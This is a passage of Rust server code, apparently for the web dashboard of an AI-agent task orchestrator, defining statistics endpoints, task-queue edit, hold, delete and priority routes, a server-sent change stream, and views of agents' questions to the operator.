7261    agents: Vec<AgentStatsView>,
7262    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7263    reviewers: Vec<ReviewerStatsView>,
7264    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7265    advisors: Vec<AdvisorStatsView>,
7266    e2e: E2eStatsView,
7267    release_bumps: ReleaseBumpStatsView,
7268    queue: Option<TaskCountsView>,
7269    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7270    /// that field's doc. Asserted to match it in
7271    /// `stats_runs_unreadable_matches_health`.
7272    ///
7273    /// Always the whole-workload count, even when `repo` narrows every other
7274    /// field to one repository - an unreadable `run.json` carries no `repo`
7275    /// a per-repository count could attribute it to, and the queue/health
7276    /// views this mirrors never scope it either. The UI must not present it
7277    /// as if it were scoped to the selected repository.
7278    runs_unreadable: usize,
7279    /// Every repository with runs recorded, most runs first - what the UI's
7280    /// repository selector is built from. Always the full list regardless of
7281    /// `repo`, so switching repositories never needs a second request.
7282    repos: Vec<RepoSummaryView>,
7283    /// Runs per local day over the last 30 days, oldest first, always 30
7284    /// entries. Days are the *server's* local dates (the UI must not convert
7285    /// them again), cut by run creation and classified by current status.
7286    /// Narrowed by `repo` like every other run-derived field.
7287    daily: Vec<DailyStatsView>,
7288    /// The `?repo=` value this response was narrowed to, echoed back so the
7289    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7290    /// all-repositories view.
7291    repo: Option<String>,
7292    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7293    /// current config roster no longer lists them. Empty with `?all=true`, an
7294    /// unreadable config, or when nothing was retired.
7295    retired_hidden: Vec<String>,
7296}
7297
7298/// One day of [`StatsView::daily`].
7299#[derive(Debug, Serialize)]
7300struct DailyStatsView {
7301    /// `YYYY-MM-DD`, server-local.
7302    date: String,
7303    runs: usize,
7304    merged: usize,
7305    ready: usize,
7306    other: usize,
7307    /// `None` on a day with no runs, so it never reads as 0%.
7308    completion_rate: Option<RateView>,
7309}
7310
7311impl From<&stats::DayBucket> for DailyStatsView {
7312    fn from(b: &stats::DayBucket) -> Self {
7313        Self {
7314            date: b.date.to_string(),
7315            runs: b.runs,
7316            merged: b.merged,
7317            ready: b.ready,
7318            other: b.other,
7319            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7320        }
7321    }
7322}
7323
7324/// How many days [`StatsView::daily`] covers.
7325const STATS_DAILY_DAYS: usize = 30;
7326
7327/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7328/// repository. Matched by full-path equality against `RunState.repo` only
7329/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7330/// `--repo` is, because the value here always came from this same route's
7331/// own `repos` list in an earlier response, never typed by a human. A value
7332/// matching no run is a 404, not an empty aggregate: the caller asked for a
7333/// specific, named repository, and silently returning zeroes would look
7334/// exactly like a repository that has runs but none of interest.
7335#[derive(Debug, Default, Deserialize)]
7336#[serde(default)]
7337struct StatsQuery {
7338    repo: Option<String>,
7339    /// `?all=true` keeps agents that are no longer in the roster.
7340    all: bool,
7341    /// The dashboard fetches queue counts independently of run history.
7342    runs_only: bool,
7343}
7344
7345/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7346/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7347/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7348/// prints from. Reads every readable run on disk, exactly as
7349/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7350/// a separately-maintained tally could.
7351async fn stats_get(
7352    State(ui): State<Arc<Ui>>,
7353    Query(q): Query<StatsQuery>,
7354) -> ApiResult<Json<StatsView>> {
7355    blocking(move || {
7356        let states: Vec<RunState> = run_ids(&ui.runs)
7357            .into_iter()
7358            .filter_map(|id| read_run(&ui.runs, &id).ok())
7359            .collect();
7360        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7361            .iter()
7362            .map(RepoSummaryView::from)
7363            .collect();
7364        let mut scoped: Vec<&RunState> = states.iter().collect();
7365        let mut collected = match &q.repo {
7366            Some(repo) => {
7367                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7368                if filtered.is_empty() {
7369                    return Err(ApiError::not_found(format!(
7370                        "no runs recorded against repo `{repo}`"
7371                    )));
7372                }
7373                scoped = filtered.clone();
7374                stats::collect_refs(filtered)
7375            }
7376            None => stats::collect(&states),
7377        };
7378        if !q.all {
7379            let repo = q
7380                .repo
7381                .as_deref()
7382                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7383            stats::retain_current_roster(&mut collected, &repo);
7384        }
7385        let daily = stats::daily(
7386            scoped,
7387            jiff::Zoned::now().date(),
7388            &jiff::tz::TimeZone::system(),
7389            STATS_DAILY_DAYS,
7390        );
7391        let queue_counts = (!q.runs_only)
7392            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7393        Ok(Json(StatsView {
7394            totals: StatsTotalsView::from(&collected.totals),
7395            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7396            reviewers: collected
7397                .reviewers
7398                .iter()
7399                .map(ReviewerStatsView::from)
7400                .collect(),
7401            advisors: collected
7402                .advisors
7403                .iter()
7404                .map(AdvisorStatsView::from)
7405                .collect(),
7406            e2e: E2eStatsView::from(&collected.e2e),
7407            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7408            queue: queue_counts,
7409            runs_unreadable: runs_unreadable(&ui.runs),
7410            repos,
7411            daily: daily.iter().map(DailyStatsView::from).collect(),
7412            repo: q.repo.clone(),
7413            retired_hidden: collected.retired_hidden.clone(),
7414        }))
7415    })
7416    .await
7417}
7418
7419/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7420/// gives no reason - which must keep working, since not every hold has one.
7421#[derive(Debug, Default, Deserialize)]
7422#[serde(default, deny_unknown_fields)]
7423struct HoldBody {
7424    reason: Option<String>,
7425}
7426
7427async fn queue_hold(
7428    State(ui): State<Arc<Ui>>,
7429    Path(id): Path<String>,
7430    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7431) -> ApiResult<Json<TaskView>> {
7432    // An absent body is the ordinary case - most holds are unexplained, and
7433    // that has to stay a one-tap action rather than a form. A body that is
7434    // present and malformed is still a bad request.
7435    let body = match body {
7436        Ok(Json(body)) => body,
7437        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7438        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7439    };
7440    let reason = body.reason.filter(|r| !r.trim().is_empty());
7441    mutate(ui, id, move |t| {
7442        t.hold_manual(reason.clone());
7443        Ok(())
7444    })
7445    .await
7446}
7447
7448#[derive(Deserialize)]
7449#[serde(deny_unknown_fields)]
7450struct ReassignBody {
7451    repo: PathBuf,
7452}
7453
7454async fn queue_reassign(
7455    State(ui): State<Arc<Ui>>,
7456    Path(id): Path<String>,
7457    Json(body): Json<ReassignBody>,
7458) -> ApiResult<Json<TaskView>> {
7459    let home = ui.home.clone();
7460    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7461        .await
7462        .map_err(ApiError::bad_request_from)?;
7463    let notes = crate::task_reassign::advisory_notes(&task, &home);
7464    let mut view = TaskView::from(task);
7465    view.reassignment_notes = notes;
7466    Ok(Json(view))
7467}
7468
7469async fn queue_release(
7470    State(ui): State<Arc<Ui>>,
7471    Path(id): Path<String>,
7472) -> ApiResult<Json<TaskView>> {
7473    mutate(ui, id, |t| {
7474        t.release_operator("web", None);
7475        Ok(())
7476    })
7477    .await
7478}
7479
7480#[derive(Debug, Deserialize)]
7481#[serde(deny_unknown_fields)]
7482struct AttemptLimitBody {
7483    // Required even when clearing: missing fields must not silently erase an override.
7484    attempt_limit: serde_json::Value,
7485}
7486
7487async fn queue_attempt_limit(
7488    State(ui): State<Arc<Ui>>,
7489    Path(id): Path<String>,
7490    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7491) -> ApiResult<Json<TaskView>> {
7492    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7493    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7494        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7495    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7496}
7497
7498#[derive(Debug, Deserialize)]
7499#[serde(deny_unknown_fields)]
7500struct ImplementersBody {
7501    implementers: u8,
7502}
7503
7504async fn queue_implementers(
7505    State(ui): State<Arc<Ui>>,
7506    Path(id): Path<String>,
7507    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7508) -> ApiResult<Json<TaskView>> {
7509    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7510    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7511}
7512
7513#[derive(Debug, Deserialize)]
7514#[serde(deny_unknown_fields)]
7515struct UrgentBody {
7516    urgent: bool,
7517}
7518
7519async fn queue_urgent(
7520    State(ui): State<Arc<Ui>>,
7521    Path(id): Path<String>,
7522    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7523) -> ApiResult<Json<TaskView>> {
7524    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7525    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7526}
7527
7528/// The body of `POST /api/queue/{id}/priority`.
7529#[derive(Debug, Deserialize)]
7530#[serde(deny_unknown_fields)]
7531struct PriorityBody {
7532    priority: i32,
7533}
7534
7535/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7536///
7537/// [`Task::set_priority`] is the one place the "not while running" rule is
7538/// stated; this route only carries the body to it and lets its `Err` become
7539/// the 4xx the card shows.
7540async fn queue_priority(
7541    State(ui): State<Arc<Ui>>,
7542    Path(id): Path<String>,
7543    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7544) -> ApiResult<Json<TaskView>> {
7545    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7546    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7547}
7548
7549/// The body of `POST /api/queue/{id}/edit`.
7550#[derive(Debug, Deserialize)]
7551#[serde(deny_unknown_fields)]
7552struct EditBody {
7553    title: String,
7554    instruction: String,
7555    /// Save even though the new text names a branch, commit or pull request
7556    /// that unfinished work already owns.
7557    #[serde(default)]
7558    force: bool,
7559}
7560
7561/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7562/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7563/// that refusal's message is what the sheet shows back.
7564async fn queue_edit(
7565    State(ui): State<Arc<Ui>>,
7566    Path(id): Path<String>,
7567    body: std::result::Result<Json<EditBody>, JsonRejection>,
7568) -> ApiResult<Json<TaskView>> {
7569    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7570    // The judge is an agent call, so it is awaited here, outside the claim
7571    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7572    // remembered, and the save refuses if the task moved underneath it.
7573    let mut judged: Option<(String, PathBuf)> = None;
7574    if !body.force {
7575        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7576        let (id, text) = (id.clone(), body.instruction.clone());
7577        let (seen, hits) = blocking(move || {
7578            let id = resolve_task(&queue, &id)?;
7579            let t = queue.get(&id)?;
7580            if text == t.instruction {
7581                return Ok((None, Vec::new()));
7582            }
7583            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7584            Ok((Some((t.instruction, t.repo)), hits))
7585        })
7586        .await?;
7587        if let Some((_, repo)) = &seen {
7588            let cfg = crate::config::Config::discover(repo, None)
7589                .ok()
7590                .map(|(c, _)| c);
7591            let screened =
7592                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7593                    .await
7594                    .map_err(|dup| {
7595                        ApiError::conflict(dup.render(
7596                            "Nothing was saved. If it is not a duplicate, repeat the request \
7597                             with \"force\": true.",
7598                        ))
7599                    })?;
7600            if let crate::dupes::Screened::Unjudged(why) = screened {
7601                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7602            }
7603        }
7604        judged = seen;
7605    }
7606    let force = body.force;
7607    mutate(ui, id, move |t| {
7608        if !force && body.instruction != t.instruction {
7609            match &judged {
7610                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7611                _ => {
7612                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7613                }
7614            }
7615        }
7616        t.edit(body.title.clone(), body.instruction.clone())
7617    })
7618    .await
7619}
7620
7621/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7622/// it, so the phone's other way to clear a task from the backlog does not
7623/// have to cost the run history, the attribution, and `created_at` the way
7624/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7625/// can be marked done by hand, because this is for the run the loop never
7626/// saw land - a merge done by hand, or a gate that misreported - and that can
7627/// happen from any status the task was left in.
7628async fn queue_done(
7629    State(ui): State<Arc<Ui>>,
7630    Path(id): Path<String>,
7631) -> ApiResult<Json<TaskView>> {
7632    let home = ui.home.clone();
7633    mutate(ui, id, move |t| {
7634        t.succeed();
7635        // Same as the loop's own settle path: closing a task by hand is just
7636        // as much "this task's story is over" as a daemon-driven `Merged`/
7637        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7638        // behind must stop looking like it still needs a human. `ui.home`,
7639        // not the process-global `run::home()`: they agree in a real
7640        // process, but only `ui.home` also agrees with a test fixture's own
7641        // directory.
7642        crate::daemon::supersede_prior_runs(t, &home);
7643        Ok(())
7644    })
7645    .await
7646}
7647
7648/// `DELETE /api/queue/{id}`.
7649///
7650/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7651/// names this task: a `running` status or an orphaned `.lock` left behind by a
7652/// killed daemon is a leftover, and treating either as authority made the
7653/// task undeletable from the phone for good. The associated runs, if any, are
7654/// kept: a run is self-contained history and not an appendage of the task.
7655async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7656    blocking(move || {
7657        let id = resolve_task(&ui.queue, &id)?;
7658        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7659        ui.queue
7660            .remove(&id, in_flight, &ui.questions)
7661            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7662        Ok(StatusCode::NO_CONTENT)
7663    })
7664    .await
7665}
7666
7667/// Read a task, change it, write it back, under the queue's own lock.
7668///
7669/// Taking the same claim a daemon takes is what makes hold, release,
7670/// priority, edit, and done safe to press while magi is running: without it
7671/// the daemon's next save would land on top of the operator's change and
7672/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7673/// both do, for a running task - and that refusal becomes the 4xx the card
7674/// shows, same as any other domain rule.
7675async fn mutate(
7676    ui: Arc<Ui>,
7677    id: String,
7678    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7679) -> ApiResult<Json<TaskView>> {
7680    blocking(move || {
7681        let id = resolve_task(&ui.queue, &id)?;
7682        // `claim` fails when the lock file already exists, which is the
7683        // conflict the UI must report: the daemon owns that task's file for
7684        // as long as it is running it, and our write would be lost under its
7685        // next save. The message names the lock either way.
7686        let _claim = ui.queue.claim(&id).map_err(|e| {
7687            ApiError::conflict(format!(
7688                "{e:#} - a daemon is running this task, so it cannot be \
7689                 changed from here yet; wait until it is released, then retry"
7690            ))
7691        })?;
7692        let mut task = ui.queue.get(&id)?;
7693        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7694            Ok(dup) => ApiError::conflict(dup.render(
7695                "Nothing was saved. If it is not a duplicate, repeat the request with \
7696                 \"force\": true.",
7697            )),
7698            Err(e) => ApiError::bad_request_from(e),
7699        })?;
7700        ui.queue.put(&mut task)?;
7701        Ok(Json(TaskView::from(task)))
7702    })
7703    .await
7704}
7705
7706/// The change stream: one revision number per store, on connect and whenever
7707/// any of them moves.
7708///
7709/// One shared worker scans stores; clients only forward its notifications.
7710async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7711    ui.monitor.ensure_worker(&ui);
7712    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7713    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7714
7715    let state = Arc::clone(&ui);
7716    tokio::spawn(async move {
7717        let initial_revisions = {
7718            let guard = match state.monitor.latest.lock() {
7719                Ok(g) => g,
7720                Err(p) => p.into_inner(),
7721            };
7722            guard.as_ref().map(|(r, _)| *r)
7723        };
7724        if let Some(revisions) = initial_revisions {
7725            let initial_payload = serde_json::json!({
7726                "queue_rev": revisions.0,
7727                "runs_rev": revisions.1,
7728                "questions_rev": revisions.2,
7729                "talks_rev": revisions.3,
7730                "notifications_rev": revisions.4,
7731                "loop_rev": revisions.5,
7732            });
7733
7734            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7735                if tx.send(event).await.is_err() {
7736                    return;
7737                }
7738            }
7739        }
7740
7741        loop {
7742            match tokio::select! {
7743                _ = tx.closed() => return,
7744                value = broadcast_rx.recv() => value,
7745            } {
7746                Ok(notif) => {
7747                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7748                    else {
7749                        break;
7750                    };
7751                    if tx.send(event).await.is_err() {
7752                        break;
7753                    }
7754                }
7755                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7756                    let revs = {
7757                        let guard = match state.monitor.latest.lock() {
7758                            Ok(g) => g,
7759                            Err(p) => p.into_inner(),
7760                        };
7761                        guard.as_ref().map(|(r, _)| *r)
7762                    };
7763                    if let Some(revs) = revs {
7764                        let payload = serde_json::json!({
7765                            "queue_rev": revs.0,
7766                            "runs_rev": revs.1,
7767                            "questions_rev": revs.2,
7768                            "talks_rev": revs.3,
7769                            "notifications_rev": revs.4,
7770                            "loop_rev": revs.5,
7771                        });
7772                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7773                            if tx.send(event).await.is_err() {
7774                                break;
7775                            }
7776                        }
7777                    }
7778                }
7779                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7780                    break;
7781                }
7782            }
7783        }
7784    });
7785
7786    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7787        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7788}
7789
7790/// Run ids under `runs`, newest first.
7791///
7792/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7793/// which reads the process-global home: the server has to be drivable against
7794/// a temp directory for any of this to be testable.
7795fn run_ids(runs: &FsPath) -> Vec<String> {
7796    let mut ids: Vec<String> = std::fs::read_dir(runs)
7797        .into_iter()
7798        .flatten()
7799        .flatten()
7800        .filter(|e| e.path().join("run.json").is_file())
7801        .map(|e| e.file_name().to_string_lossy().into_owned())
7802        .collect();
7803    // Ids start with a sortable timestamp.
7804    ids.sort_unstable_by(|a, b| b.cmp(a));
7805    ids
7806}
7807
7808/// Read one run's state from an explicit runs root.
7809fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7810    let path = runs.join(id).join("run.json");
7811    let body =
7812        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7813    let state: RunState =
7814        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7815    // The same migration `RunState::load` applies, so a record from the
7816    // previous schema reads here as it does everywhere else (an origin-less
7817    // run shows as "origin unknown") instead of vanishing from the phone the
7818    // moment the schema is bumped.
7819    run::migrate_schema(state)
7820}
7821
7822/// Runs on disk under `runs` whose state this build cannot parse - almost
7823/// always a schema bump, occasionally a run killed mid-write.
7824///
7825/// Exposed so every surface that reports on runs shares one count instead of
7826/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7827/// `magi doctor` calls this directly rather than guessing at the same number
7828/// a second way.
7829#[must_use]
7830pub fn runs_unreadable(runs: &FsPath) -> usize {
7831    run_ids(runs)
7832        .into_iter()
7833        .filter(|id| read_run(runs, id).is_err())
7834        .count()
7835}
7836
7837fn plain_record_id(id: &str) -> bool {
7838    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7839}
7840
7841/// Expand an id or short id to exactly one run id.
7842fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7843    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7844        return Ok(id.to_owned());
7845    }
7846    pick(run_ids(runs), id, "run")
7847}
7848
7849/// Expand an id or short id to exactly one task id.
7850fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7851    if plain_record_id(id) && queue.path_of(id).is_file() {
7852        return Ok(id.to_owned());
7853    }
7854    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7855    pick(ids, id, "task")
7856}
7857
7858/// A question as the phone reads it.
7859///
7860/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7861/// text already parsed into a node tree so the client never runs its own
7862/// markdown reader over agent-authored prose. A relative image path in it
7863/// resolves against this question's own panel asset route, which is the one
7864/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7865/// separate, sandboxed document, but `detail` is rendered inline in the
7866/// operator's own page, so an image reference in it may only ever point at
7867/// files magi itself already serves for this question.
7868#[derive(Debug, Serialize)]
7869struct QuestionView {
7870    can_answer: bool,
7871    /// Imported consent remains history even while its effect is uncertain.
7872    history_only: bool,
7873    choice_effects: std::collections::BTreeMap<String, String>,
7874    record_revision: String,
7875    #[serde(flatten)]
7876    question: Question,
7877    detail_md: Vec<md::Node>,
7878    posting_view: Option<PostingView>,
7879    /// Each thread turn's body, parsed; same order as `question.thread`.
7880    thread_bodies_md: Vec<Vec<md::Node>>,
7881    /// Each thread turn's deputy note, parsed (`None` for a turn without
7882    /// one); same order as `question.thread`.
7883    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7884    /// Is the ball in the agent's court right now?
7885    ///
7886    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7887    /// [`Question::say`] - so this is the one field that tells the phone to
7888    /// disable the answer controls and show "waiting for the agent" instead of
7889    /// a card the owner can act on. Computed rather than stored on
7890    /// [`Question`] itself, on the same reasoning as `waiting` on
7891    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7892    /// it here means the client never has to re-derive that rule.
7893    waiting_on_agent: bool,
7894    /// Who is waiting on this open question - see [`holder_of`]. Separate
7895    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7896    /// anyone is there to take it.
7897    holder: Option<&'static str>,
7898    /// Whether `magi serve` can start a follow-up agent for a conductor
7899    /// question at all: false when `daemon.max_deputies = 0` or the config is
7900    /// unreadable. Separate from `holder`, which says who is listening now.
7901    deputies_enabled: bool,
7902    /// All starts were spent and no live holder remains. Display-only: the
7903    /// final attempt increments `starts` before running under its lease.
7904    deputy_exhausted: bool,
7905    text_delivery: crate::question_delivery::Availability,
7906    /// `question.run` is a task id (conductor / triage questions), not a run
7907    /// id, so the UI links it to the task page.
7908    run_is_task: bool,
7909    /// The existing chat this question's task came from, including settled
7910    /// questions - see [`crate::consult::associated_talk`].
7911    origin_chat: Option<String>,
7912    /// `origin_chat` is closed; consulting reopens it first.
7913    origin_chat_closed: bool,
7914    /// Consultation eligibility is separate from navigation to the chat.
7915    can_consult_chat: bool,
7916}
7917
7918#[derive(Debug, Serialize)]
7919struct PostingView {
7920    before_md: Vec<md::Node>,
7921    after_md: Vec<md::Node>,
7922    fields: Vec<crate::github_text::ComparisonView>,
7923}
7924
7925fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7926    let comparison = question.posting_comparison.as_ref()?;
7927    if !comparison.matches_detail(&question.detail) {
7928        return None;
7929    }
7930    let mut ids = std::collections::BTreeSet::new();
7931    if comparison.fields.is_empty()
7932        || comparison
7933            .fields
7934            .iter()
7935            .flat_map(|f| &f.pairs)
7936            .any(|p| !ids.insert(p.id))
7937        || comparison
7938            .fields
7939            .iter()
7940            .flat_map(|f| &f.original_triggers)
7941            .any(|t| !ids.insert(t.id))
7942    {
7943        return None;
7944    }
7945    let fields = comparison
7946        .fields
7947        .iter()
7948        .map(|f| f.view(comparison.excerpt))
7949        .collect::<Option<Vec<_>>>()?;
7950    Some(PostingView {
7951        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7952        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7953        fields,
7954    })
7955}
7956
7957impl QuestionView {
7958    /// The view of `question`, reading who is waiting on it from `store`.
7959    ///
7960    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7961    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7962        let base = md::ImageBase::QuestionPanel {
7963            id: question.id.clone(),
7964        };
7965        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7966        Self {
7967            can_answer: question.can_answer(),
7968            history_only: store.held_reply(&question.id),
7969            choice_effects: question
7970                .choices
7971                .iter()
7972                .filter_map(|c| {
7973                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7974                })
7975                .collect(),
7976            record_revision: question_record_revision(&question),
7977            detail_md: md::to_nodes(&question.detail, &base),
7978            posting_view: posting_view(&question, &base),
7979            thread_bodies_md: question
7980                .thread
7981                .iter()
7982                .map(|t| md::to_nodes(&t.body, &base))
7983                .collect(),
7984            thread_notes_md: question
7985                .thread
7986                .iter()
7987                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7988                .collect(),
7989            deputy_exhausted: store.deputy_exhausted(&question),
7990            waiting_on_agent: question.waiting_on_agent(),
7991            holder,
7992            deputies_enabled: deputies_enabled(cfg, &question),
7993            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7994            run_is_task: question.run_names_task(),
7995            origin_chat: None,
7996            origin_chat_closed: false,
7997            can_consult_chat: false,
7998            question,
7999        }
8000    }
8001
8002    /// Fill `origin_chat` from the queue and the talks.
8003    fn with_origin(
8004        mut self,
8005        tasks: &[crate::queue::Task],
8006        talks: &[Talk],
8007        watches: &[crate::release_watch::WatchState],
8008    ) -> Self {
8009        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8010        self.can_consult_chat = consult.is_some();
8011        let talk =
8012            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8013        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8014        self.origin_chat = talk.map(|t| t.id);
8015        self
8016    }
8017}
8018
8019/// The config this repository resolves, or `None` when it cannot be read.
8020/// Discovering is git processes plus a config render, so a request that needs
8021/// it for many items takes it once and passes it down.
8022fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8023    Config::discover(repo, None).ok().map(|(c, _)| c)
8024}
8025
8026/// Can `magi serve` start a deputy for this question under `cfg`?
8027fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8028    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8029}
8030
8031/// The views `GET /api/questions` answers. `load` runs at most once, however
8032/// many questions there are, and not at all when there are none.
8033fn question_views(
8034    qs: Vec<Question>,
8035    store: &ask::Questions,
8036    load: impl FnOnce() -> Option<Config>,
8037) -> Vec<QuestionView> {
8038    if qs.is_empty() {
8039        return Vec::new();
8040    }
8041    let cfg = load();
8042    qs.into_iter()
8043        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8044        .collect()
8045}
8046
8047/// Who is honestly waiting on an open question right now: `"asker"` (the
8048/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8049/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8050/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8051/// up, or the question never had anyone listening (a conductor question or a
8052/// merge approval from before deputies, or not yet given one).
8053///
8054/// `None` for a question that is settled, and for one that is not an agent's
8055/// to wait on at all (a release notice).
8056fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8057    if !q.status.open() {
8058        return None;
8059    }
8060    if q.cwd.is_none()
8061        && q.deputy.is_none()
8062        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8063    {
8064        return crate::deputy::kind_of(q).map(|_| "nobody");
8065    }
8066    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8067        Some(_) if q.deputy.is_some() => "deputy",
8068        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8069        Some(_) => "asker",
8070        None => "nobody",
8071    })
8072}
8073
8074/// `GET /api/questions`.
8075///
8076/// Everything, not just the open ones: an answered question is the record of a
8077/// decision, and the phone is where the operator goes back to check what they
8078/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8079#[derive(serde::Serialize)]
8080struct DecisionView {
8081    id: String,
8082    task: String,
8083    run: Option<String>,
8084    chat: Option<String>,
8085    display: String,
8086    delivery_error: Option<String>,
8087    decision: crate::task_decision::Decision,
8088}
8089
8090impl DecisionView {
8091    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8092        Some(Self {
8093            id: inquiry.id,
8094            task: inquiry.task,
8095            run: inquiry.run,
8096            chat: inquiry.delivered_to,
8097            display: inquiry.display,
8098            delivery_error: inquiry.delivery_error,
8099            decision: inquiry.decision?,
8100        })
8101    }
8102}
8103
8104#[derive(serde::Serialize)]
8105struct DecisionsView {
8106    items: Vec<DecisionView>,
8107    unreadable: usize,
8108    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8109}
8110
8111// Read-only: list visits and inquiry links never create owner decisions,
8112// delivery receipts or effect acknowledgements.
8113async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8114    blocking(move || {
8115        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8116        let mut views: Vec<_> = items
8117            .into_iter()
8118            .filter_map(DecisionView::from_inquiry)
8119            .collect();
8120        views.sort_by_key(|view| {
8121            (
8122                view.decision.status == crate::task_decision::Status::Resolved,
